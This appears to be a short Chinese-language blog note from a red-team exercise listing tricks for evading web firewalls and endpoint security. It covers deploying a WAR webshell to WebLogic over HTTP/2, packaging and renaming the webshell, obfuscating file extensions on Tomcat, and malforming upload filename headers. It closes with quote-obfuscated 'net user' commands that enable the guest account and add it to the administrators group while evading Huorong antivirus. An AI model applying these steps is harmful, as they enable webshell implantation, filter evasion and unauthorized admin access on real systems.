护网期间遇到的几个上传bypass waf、edr

1.   weblogic部署war的时候 http/1.1 改成http/2绕过waf

其实jar和ear部署应该也可以，但是我没成功。

weblogoic 部署war死活出错，用linux下的浏览器

linux下打包war马 zip -r zipjob4.zip job/   
mv zipjob3.zip zipjob3.war

然后部署成功之后，记得访问上zipjob3/job/index.jsp

2.   tomcat  windows的话部署  1.war变成 1.w/a/r  应该是 1.w\a\r

3.  上传绕过waf

filename="x.jsp"  换成   filename == x.jsp  还不行把 把band---  = 后面加空格、反复测试就行了，先确认改了也能上传在考虑是不是能绕waf

4. 火绒加用户绕过 

n"e"t us"e"r guest 1q.asd
n"e"t us"e"r guest /active:yes
n"e"t loc"a"lgroup administrators guest /add